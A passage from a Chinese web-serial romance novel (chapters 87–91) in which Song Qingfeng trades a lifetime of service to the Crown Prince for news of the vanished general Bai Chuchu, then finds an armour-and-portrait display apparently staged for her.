听到白楚楚三个字,她的心跳漏了一拍,她极力压抑住胸腔里极速跳动的心脏,语无伦次地道:“唔好,可是现在外头的事这么棘手,要不您先处理外头的事,唔,我不需要收拾现在就能走。” 李岏看着她,宋轻风低头才发现自己穿得单薄,只是因着屋内开了地龙,方才不觉得寒冷。 她忙站起来,跌跌撞撞往内室跑。 不过片刻,便穿戴了整齐出来。 马车却是往东华门去。 宋轻风听到外头越来越响的人声,一时紧张地抓了他的手道:“我们换个门吧?” 李岏道:“无妨。” 他突然转了话题道:“白楚楚的事,你没有问过他?” 他没说她是谁,但是宋轻风知道指的是谁。 她想起昨夜消失在街角雪地里的落寞身影,一时心中沉郁。 昨夜自己终于鼓起勇气一番表白,不想转头自己又抛下他入了宫,不知他以后还会原谅自己吗。 李岏见她面上转了沉默,眼睛上的红肿还未消退,不过靠近了,冰凉的手指抚上她的眼睑:“你后悔入宫了?” 宋轻风摇了摇头,若是再一次选择,她还是会如此。 关于白楚楚的消息,她自是问过兰哥哥的,可他只是笑一笑,摸了摸她的头,却从未说过一句话。 他们在西北多年,也从未听他提起过白马战神的事。她不知缘由,但以对他的了解,她知道他这样,便是永远也不会说。 宋轻风又道:“您不好奇吗?” “好奇什么?” “我为何想要知道白楚楚的消息,我与白楚楚,到底是何关系?” 李岏看了她一眼,从善如流:“你为何想要知道她的消息,那你们又是什么关系呢?” 宋轻风摇了摇头,一脸茫然地道:“我也不知道。” 李岏道:“这个消息对你很重要?” 宋轻风重重地点头。 李岏心中一跳,他在赌,赌她可以为了这个消息抛弃一切,昨夜她果然如此做了。 他下意识转了转手腕上的镯子,方淡淡地道:“你自小在西北生活,想知道她的下落并不稀奇。” “为何?” “这些年,有很多人到京中来,想要寻找她的下落。他们中的大多数,都来自西北,甚至很多人,都只是平民。我曾也想知道,他们为何要寻她,可是他们也只是摇了摇头,而后失望地离开。” “真的吗?” 宋轻风不敢置信地看过去,原来,还有很多人记得她,来寻过她。 只是这些年,她却从未听过。 宋轻风看向他手腕,他说那是白楚楚赠他的追影。 她见识过这追影的威力,能将这样的一件宝物相送,他们一定关系匪浅。 “她是一个什么样的人?” 哪知李岏却摇头道:“说来惭愧,那时我还年幼,只匆匆见过两面,甚至都未曾说过几句话。” 他只记得她与这宫城的灰暗格格不入,她就如一束光,又如一把利刃,就这般刺进来,只是短短几日,便成了一道久违的光,照在这粉墙金瓦之内。 即便当年他还年幼,也只是匆匆一瞥,就再难忘记。 “人人都叫她白马战神,在西北,她是所有人活下去的希望,她所在的地方,必定万人空巷。” “其实我在京中,久闻她的大名,原不过不过尔尔,大抵言过其实。可当我真第一次瞧见她时,才明白什么叫风姿飒飒,我想象里的白马战神,便该当如此。她值得这些人惦记着她。” 瞧见宋轻风黑澄澄的目光,李岏转了目光,将她拉在身旁,车厢内空间很小,他宽大的手臂撑在两侧,将她圈在当中极小的范围。 他的拇指自她红肿的眼睑滑过,而后摩挲在她的唇上,一下一下,好一会才道:“我告诉你白楚楚的消息,但是作为交换,你要答应我的条件。” 宋轻风被他包裹在方寸之间,不由一阵窒息,预感到他接下来要说的话,心中紧缩成一团。 果然他凑近了脸,鼻尖相抵,唇落在她的唇上,却不离开。 他道:“忘了他,忘了你们曾经的一切,从此只喜欢我一个人。”—— 作者有话说:宝宝们,今年陷入了加班的漩涡,实在是太糟糕…… 希望大家的学习,工作都能轻松愉快吧~[比心] 第88章 第 88 章 对不起,我做不到…… “忘了他, 从此只喜欢我一个人。” 车内光线昏暗,炭火腥红照不见他撑在两侧的手掌微微发颤。 “你能做到的,对吗?” 宋轻风看着他的双眸里隐着跳跃的光, 小小的自己倒映在他的眼眸里,面色发白,嘴唇张了又合。 李岏见她模样, 又凑近了脸来, 冰冷的鼻尖蹭过她的面颊,温热的气喷在她的面上, 痒痒的蛊惑着。 宋轻风却反应过来,下意识地偏转了头。 她避开他灼热的唇,死死咬住自己的唇, 却到底开口道:“对不起, 太子殿下,我做不到。” 李岏离她不过半寸,闻言止不住浑身一僵。 马车内空气一时如凝固一般。 “你,你说什么?”他自唇边挤出字来。 宋轻风说完却似有了勇气, 转回头来, 双眸澄澄,直视着他的眼睛道:“太子殿下,我做不到, 昨夜我虽然选择离开他,但我永远都不会忘了他。” 她言语坚决, 毫不避忌地看着自己。 李岏撑在车厢上的手剧烈颤动, 燃了一夜又一上午的热血却凉了彻底。 昨夜她与自己在一处时并无反抗,她的身体反应不是假的,晨起又看到她对自己担忧的眼神。 他虽然卑漏, 以事相胁,可自己满心以为,天长地久,总能得到她的心。 可此刻,她的眼神澄澈却坚决,连一丝自欺欺人的幻想都不留给他。 既都已骗了他这么久,此刻为何却又连骗都不愿骗他! 宋轻风垂下头,声音轻缓:“我曾在雪地里救过一个孩子,他瘦小可怜,像只小猫,就快要冻死了,我救了他,将自己紧有的馒头给了他,他便叫我姐姐,整日拽着我的衣摆跟在我的身后,依赖着我,像是我的小尾巴。” “他只有几岁,身体虚弱常常生病,别人觉得他是我的拖累,只有我知道,不是他需要我,是我需要他。” “我少时失忆,孤身一人流落在草莽之间,不知自己从何而来,要往何处去,也不知这天下之大,何处是我容身之地,只是在混混沌沌里过着一日又一日,有了他,我才觉得自己被需要,自己是这世上的一个人。” “可是不想有一日,他会为了一块馒头出卖了我。在那个河边,当我在溺水的深渊里以为自己就要死去的时候,是他,是兰哥哥突然出现救下了我,那时他衣袂翻飞,像是一道光照进了我的生命里。” “第一眼看见他的时候,我就知道自己以前一定见过他,他以前也一定救过我,只是我不记得了。” “我赖上了他,他也没有撵走我,我们住在破庙里,外面下大雪,里面下小雪,我们一起挤在神像前取暖,一起数过天上的星星,一起分过半块烤焦的红薯。” “我发烧昏昏沉沉想要吃橘子,他便背着我走了二十里的路去山上摘橘子。我记得那夜满天星子,我看见他的睫毛上都是露水,他的剑便当了拐杖,剑身上都是泞泥。” “太子殿下,您知道吗,是他给了我一个家,让我不用担心夜晚要在哪里落脚,是他让我知道有一个自己的地方,有人叫自己的名字,是什么样的感觉。” “太子殿下,”宋轻风抬起头,看着他相似的容颜,里头却没有认错人的迷惘,只有坚决,“我不想骗你,他是我这辈子最最重要的人,是我愿意用性命保护的人,我就算是死都不会忘了他。” 随着她的一句句,李岏指节因用力而泛着惨白,他猛地收回身子,感到胸腔里有什么东西在碎裂,尖锐的疼痛刺得他双腿发软,一股无力感充斥全身。 最先遇到她的人不是他,他们有旁人永远也融入不进的过去,是他永远也抹不去比不上的。 可他是她最最重要的人,那自己又算什么呢? 呵,对了,他的替身。 不管是年少时,还是而今。 自己又何必自取其辱。 李岏颓然坐在一旁,低头不语。 宋轻风双眸泛红道:“太子殿下,若是您还愿意交换,我可以伺候您,一辈子做您的侍妾,婢女。但是方才的要求,我做不到。” 李岏抬眼看到她红肿未消的双眼,想到昨夜她在自己的身下,眼角挂着泪却乖巧顺从,甚至曲意承欢。 “好,很好。”他低笑出声,嗓音干哑,“宋轻风!” 他咬牙讲完,一把掀开车帘。寒风吹入温暖的车厢,连外裳都没穿,便出了马车。 “好,一言为定!那就留在东宫伺候孤一辈子,做孤的侍妾,婢女!” 寒风卷着残雪扑在面上,他却似感觉不到寒意。 宋轻风不想他突然弃车而去,一把掀开车帘,便见他骑在高头大马,行在当先,她只瞧得见他挺直的脊背,修长的白颈,抬手一鞭打落了高守递来的大氅。 东华门便在此时缓缓开在眼前。 嘈杂声从外部扑面而来。 宋轻风一惊,想到此刻还围在宫门口的人群,还未及叫他,便见他一人一马,当先出了宫门…… 众人围了半日,叫喊了半日,守卫只是拦住他们靠近宫门,却并无人驱离他们。 他们见状愈发大胆,在有心之人的带领下,叫骂不迭恨不能揭竿而起冲进皇宫里去。 只是皇城气象威严,执戟守卫人高马大,满面冷峻。 到底无人敢带头闯宫。 不想叫骂了这半日,紧紧闭着的东华门突然缓缓打开了。 而后当前一人一马行了出来。 “哒哒哒”马蹄踩在坚硬的砖石路面上,却如敲在众人的心头。 嘈杂震耳的人群突然刷地一下安静了下来。 那马神骏异常,众人的目光却不自觉地被马上之人所吸引。 那人年岁不大,一身墨蓝色常服格外单薄了些,在寒风里猎猎翻飞,却衬得他身型挺拔瘦削。 “这……这就是太子……”众人反应过来。 他头戴玉冠,面如寒霜,薄唇紧紧抿着,目光冷冽,驱着马一言不发,未曾看向众人,只是冷冷地看着前方,一身的尊贵凛冽气质,却叫周围的人觉得呼吸都嫌过重,手中握了一日的烂菜叶和鸡蛋,却再抬不起来,丝毫不敢亵渎。 一人一马所过之处,人群不自觉如潮水一般退开。 宋轻风攀着车身紧张地瞧见这幕,终于长呼了口气,缩回了车内。 不知过了多久,不人群中突然有人叫道:“就是他!大家不要被他的样子骗了!这个衣冠禽兽,为了一己私利,为了能登上皇位,动了龙脉才发生的地动!”一瘦小个子的中年人叫道,面黄肌瘦,浑身破烂,一看就是混进京师的流民。 “我是安西人,我亲眼瞧见他的人在挖金矿,连矿洞塌了压死了人都无人过问!就是山被挖空了才导致了地动,让我安西数十万人无家可归!” 他说着声泪俱下,叫道:“他还假惺惺派人去赈灾,可粮食却迟迟不发,等我们饿得快疯了,才假惺惺开仓放粮,让我们感激涕零!我一家老小只有我一个人活了下来!呜呜呜……” 他的凄惨哭声,叫原本安静的人群顿时炸开了锅。 李岏目光扫向那人,那人正掩面大哭,却被这扫来的目光一激,吓得再不敢吭声。 可人群却已被激起,吵吵嚷嚷地往前涌,东宫侍卫拦在两侧,众人虽满面怒色,却无人敢上前来。 突然“啪嗒”一声,却不知哪个角落里一只鸡蛋飞了过来,堪堪砸在了李岏的鬓角。 那蛋炸裂开来,黄白黏腻之物顺着鬓角滑落,一股腥臭之气立时弥漫。 “大坏蛋!臭鸡蛋!” 高守大惊,飞身上前一把抓住了扔东西的疑犯。 哪知对方竟只是一个三四岁的孩童,他身材瘦小,动作灵活,方才混乱中竟偷偷钻过了人群,走到了近前。 那小孩被高守抓住了胳膊,吓得面色通红哇哇大哭起来。 小孩的母亲冲上前来,紧紧抱住孩子就跪地求饶:“求您放了我儿子,他还小不懂事……” 场面一时具是这对可怜母女的凄惨哭声。 高守气得面如猪肝之色,却一时不敢拿他们如何。 人群里,一个白发苍苍的老爷爷扔了拐杖,一把跪倒在地长呼道:“老天爷啊,您睁开眼睛看看吧!这就是我们万民敬仰的太子,我们的君王啊!” 随着他的哭号,人群纷纷跪倒在地,仰天长哭。 宋轻风听见有人高叫时,心中已是一惊,等她急匆匆地从马车上下来,便见那一物划过一道曲线,啪地一声砸在了太子的脸上。 那鸡蛋在他眉骨处炸开,顺着脸颊缓缓下滑,他竟没有躲,甚至连眼睛都未眨一下,只是下颌紧绷,一片寒芒。 宋轻风愣在原处,她见过他太多模样。平日里高傲地如坐云端,月夜里对着她温言细语,甚至生辰时受伤失态,他生来便是金枝玉叶,从来都是高高在上,失意也从来都是隐在灯火的阴影里。 从未像今日这般。 在大庭广众之下,在万民之前,蛋壳挂在鬓边,任由蛋液滑落,浸染在肩头,听着众人对他的控诉和怒骂。 宋轻风瞧见此间情形,一股说不出是何的心情攀爬上来袭遍全身,激得她心口发紧,垂在两侧的手忍不住发颤。 “太子殿下……”她轻唤一声,声音却哽住再说不出口。 李岏听到声响转过头来,脸上蛋液混在瓷白肌肤之上,那双眼睛黑沉沉的可怕。 她突然想起那夜,他额角血迹未干,整个人躲在灯影下,皱着眉头,并未多言,半晌只是道:“好苦。” 宋轻风心中一痛,忍住双眸的热意,下意识上前一步,一手伸进袖子掏出巾帕来,一手却摸向了荷包。 她来到马下,方欲抬手。 眸光却突然一闪。 远处的街角处,一个低矮的灰色身影撞进了眼眸。 犹如一道闪电划过,她心中大惊,转眸望去,却只瞧见一片衣角匆匆消失在街巷深处。 匆忙中宋轻风深深看了一眼李岏,想要说点什么,嗫嚅了几次却都未说出口,而后却再难忍住,掀开裙摆便飞奔了出去。 李岏看着她飞奔远去的身影,雪地里,因跑得急滑倒了几次,却丝毫不停顿地爬起来,飞奔而去。 他莫名想起好几个月前,她说要效忠自己。 一双圆圆的黑眼睛被烛火照得熠熠生辉:“我喜欢你,自然愿意为你付出一切。” 那时自己只觉得可笑至极。 而今更是可笑至极。 他如泥雕木塑一般,盯着她的身影消失的方向。 不知过了多久,才摆摆手,命高守放了那对母子,自己从袖口里掏出一方白色巾帕,一点点慢慢擦拭过脸颊。 从始至终,他面色如冻住的雪,未有半分消融—— 作者有话说:晚安啊~~[比心][狗头叼玫瑰] 第89章 第 89 章 答案 京中御道上积雪早已被扫除, 只是天色又转阴沉,路面湿滑,边边角角尤甚。 宋轻风一路跌跌撞撞跑到巷口, 巷子里寒风凛冽,嗖嗖的刮在面上生疼。 只是巷子深处却见一人灰色衣裳,似乎行动不便, 坐在椅子上已自行到了远处, 眼见就快要消失在转角。 她感到心跳如鼓,却停下脚步不敢去追, 忍不住叫道:“喂!” 声音在巷子里穿梭,尤其响亮。 远处的人影顿了顿,宋轻风以为他不会理睬, 哪知那人却自转角处回过头来。 巷子细窄, 又处皇宫附近,周围房屋高大巍峨。 巷子里的人的面容隐在房屋的阴影里,只一双眼睛,似乎带着光一般, 黑沉沉地穿透寒风而来, 那目光如有实质,叫宋轻风忍不住心口发凉,鸡皮疙瘩起了一身。 “你, 你是谁?” 她一时目眩神迷,头痛欲裂, 下意识一阵抓挠, 直到扶住手边的墙才防止自己跌倒在地。 等她眼前黑色退去,再抬头时,那人果然已消失在尽头。 “别走!” 宋轻风忍住怦怦乱跳的心脏, 拖着发软的腿往巷子深处跑去。直跑到方才那人消失的地方,地上的车痕也跟着消失了。 四处张望,一个人影也无。 方才的一切似乎只是一场错觉。 她脚下发软,顺着墙角跪倒在地,无意识地喃喃道:“别走,别走……” 她捂着脑袋,终于想起在苍西镇上发热昏沉之际,似乎曾朦朦胧胧中瞧见过这个身影。那时自己高热昏迷,以为一切只是自己胡乱中做的梦。 只是方才瞧得真切,大白日里不会是自己的错觉。 “宋轻风!” “谁在叫我?”却见一人蹲下身来,面目模糊,摇着她的肩膀。宋轻风回过神来,才瞧清面前的人是李岏,他皱着眉头,眼神里的担忧一闪而过。 “你怎么了?” 宋轻风低下头,结结巴巴地道:“方才,方才好像看错人了。” 看错人?李岏见她面上神色,扯了扯唇却未扯出半分弧度,直起身漠然道:“不过一夜未见,就这般朝思暮想了?” “我……”宋轻风嗫嚅了一番,却没有否认。 这就是默认了,果然只要瞧见他的半分影子,她就能抛下自己不管不顾,即便是自己正遇到方才那般场面。 她的眼里,根本没有自己。 李岏额头青筋跳跃道:“别忘了方才我们的交易!” “你若是反悔想逃,就逃得远些,别落在孤的眼皮底下。” 宋轻风起身,瞧见他已然换了身衣裳,干净整洁,方才淌在脸颊上的蛋液也擦拭干净,全身焕然一新,丝毫不见方才半分的狼狈之态。 她下意识掏出帕子,朝他伸了过去。 李岏却避开她的手,撇开头不悦地道:“做什么?” 宋轻风道:“别动。” 他不知所以,身体却不自觉停了动作。 却见她伸出帕子,在他鬓角处仔仔细细地擦拭起来,她的嘴巴鼓鼓地成了一只小包子模样,对着他吹了吹。 李岏耳尖不自觉红了彻底。 原来他自己擦了,衣裳换了,可方才她一眼瞧见,他的鬓角里还隐着一个小小的赃污。 他的侍卫们从不敢直视他,自然未曾瞧见,可即便瞧见,这种时候也无人敢多言一句。 李岏一时僵硬地浑身一动不动,生怕一个动作,这只小包子就撤走了。他只是瞥着眼睛,看她一双晶晶亮的眼睛,认真地打量着他的脸侧,动作细心又认真。 宋轻风将他的脏污仔仔细细擦了干净,方才抱歉道:“方才是我不好占了您的马车,害您受此侮辱……” 李岏哪里还记得什么侮辱,恍惚中她吹过耳垂的气息似还留在耳畔,带着清香,既温暖又挠得他痒痒的。 这怎么不算是因祸得福呢。 他只恨方才自己擦得过分干净,留给她的发挥的时间实在少得可怜。 “喂,喂,太子殿下!” 李岏回过神来,却见宋轻风埋着头,拉着他的衣摆就往巷子里头钻。 “我听着外头的人还围着,咱这时候就别硬着头皮去了,叫他们得了机会,俗话说识时务者为俊杰,等咱洗净冤屈的时候,自有公道……” 她自说自话,好似带着他落荒而逃,又怕他受不得委屈一般地安慰着。 李岏被她拉着衣摆,虽然不惯,却也未反抗,跟着她一通七拐八绕。巷子里有老人聚在一处晒太阳,小孩子聚在一处玩耍堆雪人。 瞧见这形容不俗的两人,具都被他们吸引了目光。 越走李岏倒是一时呆住了,他在这尺方之地活了近二十年,这附近来来回回经过不下千百次,只是他每次都是坐车,侍卫们拥着,竟不知这里头还有这样一些弯弯绕绕的巷子。 等两人从巷子里出来时,已在御街上,行人熙熙攘攘,京城富庶之地,贵客云集,倒是无人再对两人多瞧上一眼。 却听李岏道:“你经常来?对这里的里这么熟?” 宋轻风够着头看了看身后,围着的人是决计看不到他们了,道:“上次出宫去镇北王府走了一回。” 她偷着玉牌出的宫,怕被人追上来,这才抄了小路。 “不过这些巷子大同小异,走得多了也就摸到了规律,以前我和兰哥哥,便喜欢走这样的巷子,里头总是藏着意想不到的好东西……” 李岏后悔自己方才多此一问,当即抬脚往前走。 宋轻风追上他,问道:“委屈您走了这半日,接下来我们去哪?要等您的马车吗?” 李岏却停了脚步,看着不远处道:“不必,已经到了。” 宋轻风心中咚地一声,抬起头来,却见门庭煊赫,甲第连云,却是镇北王府。 白楚楚的消息,在镇北王府? 她在府里呆过两日,此时呆站在门口,怎么也跨不出这半步。 好在王府的守卫具是认识太子的,瞧见他步行而来,又未摆仪杖,众人也不敢喧哗,只是飞快地打开了大门,将两人迎进去。 上次来王府,她是被兰哥哥抱进来的,那时候她满心里都是与兰哥哥重逢的喜悦,并未注意过里头的一切。 而今镇北王人还在大理寺,府中无主,王府管家慌忙代替主人前来伺候。 李岏却道:“去给王爷递个消息,就说孤来了。” 管家立时心领,目光却并不去看宋轻风,只是应是,匆忙去了。 李岏带着宋轻风,也不叫人跟着,一路熟门熟路,拾阶而上,去往了王府的阁楼。 此处不过二层小楼,二楼的连廊几日未曾有主人在,却还是干净整洁,连连廊中间摆着的几案上,此刻还温着一壶酒,似是随时在等着主人的归来。 宋轻风见他在旁人家好似在自家一般随意,拧起酒壶,就倒了一杯酒尝了。 她只瞧见他闭了闭眼睛,喉头轻滚,酒水咽了下去,这才放下酒杯道:“进去吧。” 进去? “你想知道的消息便在里面。” 宋轻风一步步走到门边,盯着门扉上的雕花看了一眼,深吸口气,手下用力推开。 哪知手臂却被人拦住了—— 作者有话说:晚安~ 第90章 第 90 章 卸甲 不知从何处出现一个黑衣人, 手中长棍搭在她的手臂上,阻止了她推门的动作。 李岏握住她的手臂,许是因为有些用力手指微颤, 连带着宋轻风推门的手也跟着颤动起来。 他感受到她双手的颤动,轻声道:“我与你一起进去。” 宋轻风却摇头道:“谢谢您愿意帮我,我想自己一个人。” 李岏默了默, 背转了身子道:“不必谢我, 只是一场交易罢了。只是这个交易,需要你拿一辈子来换, 你可想清了?” 宋轻风却笑了笑,而后推门进去了。 她不知道这门后藏着什么秘密,只是门在身后合上的瞬间, 她感到心跳也跟着咯吱一声, 便停住了。 屋内并不昏暗,甚至有些夺目的耀眼。 她这才发现,这头顶上开着天窗,窗上镶嵌着大片的琉璃, 阳光自琉璃顶倾泻而下, 便投射在屋子一角。 她的目光便自然被那处吸引。 那个角落里,挂着一件白色的铠甲。在这屋内,安安静静, 只有甲片上的金属在阳光下光影流转。 她看着那片铠甲,脑海中突然冒出一个女子。 那个女子, 瞧起来不过二十来岁, 便是穿着这身铠甲,从马背上跳了下来,看着她道:“乖女儿, 想不想娘?” 她不过马腿一般的高,仰着头看她,鼻端嗅到血腥之气皱起了小脸,她立时察觉了,一把褪下铠甲扔回了马背,露出里头棉质的长衫。 “热死了!”她抱怨道,“来,叫娘抱抱,看看我家宝贝女儿长胖了没有。” 她被抱到高处,余光里便映着这甲片投射出来的阳光,照见铠甲的肩部一道刺目的划痕,混着血迹。 宋轻风一时忘了自己身在何处,她屏住呼吸,走到近前,果然瞧见那铠甲的肩上,如方才冒出的记忆一般,有一道划痕。 那些记忆,都是真的。 她感到心尖如被人掐住了一般,连呼吸都要花极大的力气,头脑更是昏昏沉沉,胀得难受,许多被她遗忘的过去,似乎在她的脑海里左冲右突,想要喷涌出来,可一切在将破未破之际,又寻不到宣泄的出口。 就如她的名字分明就在嘴边,却怎么也想不起来。 她好不容易缓过神来,走上前去,颤着手伸出又缩回,如此了几次,才摸上这甲片,触手居然是暖暖的,就如梦中她的笑一般,比阳光还要暖。 宋轻风心头突然冒出恨意。 她早习惯了自己没有过去,可从未如此刻这般,痛恨自己失去了记忆。 为何这么美好的女子,这样温暖的娘,会被她遗忘?她到底是如何失了记忆? 她抱着脑袋站了许久,脑海里除了残片,却还是想不起更多的细节。 余光却突然瞧见这铠甲的背后。 那面墙上,挂着一个画像。 这画像上,是一片绿色无垠的草地,远处一匹白马,马背上,是一个女子的背影,这女子并未穿着铠甲,而是一身白色长衣,长长的黑色马尾甩在身后,不见正脸,却是往远处奔去。 而这画像的落款,却是歪歪斜斜写着几个字,仔细辨认,却是“卸甲归去,再无刀兵”。 落款却是“白楚楚书”几个字。 虽然没瞧见正脸,但她一眼就认出来,正是她梦中梦到的那个女子,那个叫她乖女儿的人。 这是她的字吗?梦中的人,真的是白楚楚。 卸甲归去,再无刀兵? 她这是卸下了铠甲,离开战场,归隐于凡世了吗? 宋轻风一屁股坐在地上。 太子说在这屋子里,有她想要知道的信息。 这就是白楚楚的最后去处吗? 白马战神销声匿迹好多年,这世上的人大多忘了她,她心中一直觉得或许她早就不存于人世,镇守三军的大将军,终逃不过是君王的忌惮,死在某场阴谋里。 却原来,她逃脱了这样的命运,急流勇退,此刻正活在这世上的某个角落里? 也许是街头行侠仗义的女侠,也许是田野里一个采种的农人,也许是某个小木屋里,悠闲自得的女子。 宋轻风心中一时激动难言,坐在地上,看着那画像久久地发呆。 她原以为她统领三军,自小在军营里长大,却原来也爱些女孩子的东西,这屋子里存着许多女孩子喜爱的小玩意,不用猜也知全都是她的东西,每一样都被小心地保存着。 宋轻风目光一个个瞧过去,却每一个都里里外外瞧了仔细。 她试图让自己睡过去,希冀能在这样的氛围里,寻回更多关于她的记忆。 许是坐得太久,双腿麻木,脑袋也麻木了。 又或许是阳光透过琉璃,照在人身上太过温暖。 宋轻风果真迷迷糊糊地睡了过去。 梦中只瞧见她一边侧颜逆着光,另一边含着笑,与她道:“别怕,跟我走,从此以后我会保护你的。” 她伸出了小小的手,放进了她的手里,她的手心暖得像是冬日的火炉…… 大理寺内,镇北王府管家直入后堂,寻到了正在喝茶的王爷。 宁旌听闻太子传来的话,却皱了皱眉头。 管家见他面色似有不愉,一时愧疚地道:“王爷恕罪,奴婢知那阁楼乃是禁地,可他是太子殿下,奴婢就算有心想拦,也实在没那个胆子。” 宁旌却继续皱眉道:“他带着宋姑娘一起?” 管家点头道:“正是。” “宋姑娘进去了?太子殿下未曾进去?” “是。” 老管家道:“殿下守在门口,奴婢们也不敢靠近。” 宁旌摇了摇手中的茶盏,眉头皱得更深了:“这是为何?” “什么?”管家愣住了,“奴婢也不知太子殿下为何带着这位宋,宋姑娘前来……” 宁旌一把从椅子上起身,在堂中踱步。 前不久李岚来大理寺专程寻他,实则是让他办件事,便是让他将那阁楼内的某些东西好生收起来为好。 他那时原还以为是担心有人会拿那些东西做文章。 不过这些日子,等来等去还没人敢上他镇北王府上去搜查。 他还以为是李岚多虑了,不想而今却等来了太子殿下,还带着那位宋姑娘。 所以,这是李岚专程为了这位宋姑娘准备的? 可这是为何? 他原以为这位宋姑娘是他在路上收留的一个流浪儿。 而今想来,却并非如此。 管家想了想又道:“奴婢来的路上,瞧见许多流民还围在东华门处,没有要散去的意思。” 宁旌道:“这随时有人撺掇着,哪那么容易散。这谣言最是可恶,此事说来有些棘手,到底对殿下不利,不过瞧太子殿下还有心思去我府上,想来是没什么大事了。” 管家叹气道:“只是这样下去,王爷何时才能顺利离京?” 宁旌却看着远处的大理寺门槛道:“或许,就不用离京了。”。 等宋轻风睡醒的时候,头顶却已是一片黑暗。 她居然睡了一整个下午,只是许是昨夜累极了,这回竟睡得极深,连半点梦也没有。 宋轻风打开门,却见李岏还坐在廊下,长衣铺散,正看着远处发呆。 听闻声响,他转过头来,仔细打量了她的面色,见她眼上的红肿已消退,只是神色有些惺忪,眉间隐着失落—— 作者有话说:晚安啊~《 》 90-95 第91章 第 91 章 你又是为什么呢 寒风呼啸。 不知是方睡醒, 还是小火炉上酒气氤氲,宋轻风只觉得浑身发热,双颊生出两团红晕。 李岏见她神色比自己预想中好了许多, 心头有些奇怪。 宋轻风看着漆黑一片的京师,茫茫的黑夜,轻声道:“她走了。” 她说完, 却看向李岏问道:“她真的走了吗?” 李岏眉头一动, 有些奇怪地看了看她身后道:“走了?” 他正欲解释,却在接触到她眼神的瞬间, 收回了声音。 宋轻风果然不等他回答,自顾张开手转了一个圈笑了起来道:“太好了!她没有死,她只是隐姓埋名过上了普通人的生活。” 宋轻风握住了他的手道:“谢谢您, 太子殿下, 谢谢您让我知道这一切,这是我有生以来听到的最好最好的事了。” 最好最好的事。 李岏看着她笑得眉眼弯弯,连裙摆都是快活的,一时闭了嘴。 宋轻风指着天上的半轮月亮道:“你瞧, 至少我们抬头, 看到的是同一个月亮呢!说不定她此刻也正看着这轮月亮呢!” “说不定有一日,我们就会在某个酒肆,某个巷子, 某个小河边重逢。这世界总是说大不大,说小不小的, 只要我们都好好地活着, 就总有重逢的一天,不是吗?” 李岏看她喋喋不休地说着,目光中满是希冀, 已是在幻想着在某一个雨后,她匆匆忙忙躲雨,不小心撞到一个人的身上,而后两人对视相拥。 他一时不确定她在屋内看见了什么,可若她当真这样以为,那又未尝不可。 更何况,此刻他又如何忍心,戳破她的快乐呢。 宋轻风站在栏杆上,滔滔不绝地道:“听闻她的箭术绝世无双,说不定成了个猎人?若是我也射得一手好箭,我们在同一个山里打猎……” 李岏转了目光,自怀里摸了摸,却摸出一柄巴掌大的小弩箭,递给宋轻风道:“你的箭射得不错,到了该换弩箭的时候了。” 宋轻风停下了滔滔不绝地幻想,接过这只小巧的弩箭,箭身不知在他怀里捂了多久,触手暖暖的。 她一时惊讶地合不拢嘴。 这弩比先头那把弩小了不止一点,弩牙只有米粒般大小,可形态设计却与那只落在随云殿的相差无几,甚至设计更是精美,触手轻盈温润。 她忍不住上下左右仔仔细细摸了几遭,这才抬头不敢置信地道:“这,这是送给我的?” 李岏点了点头,而后自袖中又抽出一袋袖珍小箭来:“试试。” 宋轻风迫不及待地拿过箭来,对着黑暗射了出去,却听嗖地一声极轻微的声响,远处檐下的风灯不自觉地晃了晃。 李岏靠在廊柱上,看着她神情雀跃又专注,不由心中一动。 从第一次瞧见她歪歪扭扭的射箭,虽然从未中过靶心,他却瞧出她在这方面天赋过人,准头极好,只是碍于身型瘦小,气力有限。 不过短短几月,就能这般轻松地射中落叶,这不光需要独特的眼力,还需要强大的心算能力。 甚至他在她身上,瞧出了几分白楚楚的影子。 李岏一时晃了神。 生出这样的想法,叫他心头忍不住一跳…… “原来你早知道他会去,果然最了解他的,还是你这个哥哥。”宁旌眯起眼睛,看着远处黑暗里的王府感叹道。 哪知李岚却摇头道:“我不了解他。” 但是他了解她。 他知道宋轻风嘴上不说,可没有得到答案之前,她一定不会放弃的,这一点可能连她自己也不知道。 只有彻底死心,他才能真正带走她,他同样看着远处的黑暗里隐隐绰绰的灯火,心中无比后悔当初的决定。 宁旌收回目光看向身旁的人。 一身寻常衣裳掩不住的姿容绝世,只是脸色发白,形容消瘦,他一时也生了恍惚。 以往人人都觉得这兄弟两人除了长相相似,其余全无相像之处,他曾也这般认为,可他而今发觉,他们骨子里是这般相似。 察觉到宁旌的目光,李岚转过头来。 宁旌尴尬地咳嗽了一声,转而道:“你的伤怎么样了?” 李岚道:“小伤而已。” “小伤?” 宁旌额角青筋跳跃,咬了咬牙道:“你总这般模样,以为自己是什么金刚不坏之身吗?” “没有。”李岚道。 宁旌有种拳头打在棉花里的错觉,一时生了闷气,不想与他一般见识。 大约几个月前,那个被太子殿下亲手杀死,早已死在皇城的大殿下,突然出现在镇北军中,出现在他的面前。 他当即又惊又喜,延医问药,而那时的李岚形容消瘦,伤痕累累,昏迷前却抓着他的手叫他:“想办法回京。” 那时他也不知他为何急着入京。 只是他这般要求,他便依言入了京。 没想到,他冒这么大风险来京一趟,真的只是为了一个女子吗? 宁旌愈发有些气闷,拧起酒壶来灌了一口。 他看着远处被利剑砍断的门槛,想起那个总是恣意飞扬的女子,当年自己为何没有不管不顾,也这样跑过去呢…… 宋轻风意犹未尽,只觉得连风都不冷了。 她收了礼物,又与李岏道:“谢谢你啊。” “嗯,”李岏点了点头,将一件衣裳披在她的身上道:“天气已晚,回宫去吧。” “好。” 两人顺着来时路方走到下面,却见高守凑上前来,与李岏耳语了几句,李岏听完,转身道:“你且进屋等我片刻。” 宋轻风点了点头,见他跟着人走了,身影很快消失在阴影里。 她心中激荡,索性也不进屋,只沿着连廊慢走。 不知行了多久,却听有熟悉的人声低低传来:“如何了?” 却是一个人声道:“放心,一切都按殿下的吩咐摆的,那位宋娘子没有起疑。” 宋轻风心中一惊,隐在黑暗里,瞧见朦胧光影里,说话的正是王府的那位管家。 管家道:“如今他老人家已带着人走了,快寻些人手,将阁里的东西撤了。” “是。” 宋轻风紧紧抓住廊柱,看着对面的人果然往阁楼方向去了。 老管家四处看了看,没看到什么异常,也便匆匆走了。 阁楼上一盏微弱的烛火移动,很快消失在门后。 是了。 听闻镇北王十几年未曾踏入过京师,这些年他皆在西北。 这座王府不过是个没主的空壳。 试问他又怎么会在这王府内建一座阁楼,专门放置自己在乎之人的东西呢? 那些东西,分明就是故意放在此处,引人去看的。 至于引谁去看…… “怎么了?” 宋轻风一惊,转过头,却见一人拧着灯笼不知何时已站在一旁。 烛火明灭之间,他的面容也隐隐绰绰,看不分明。 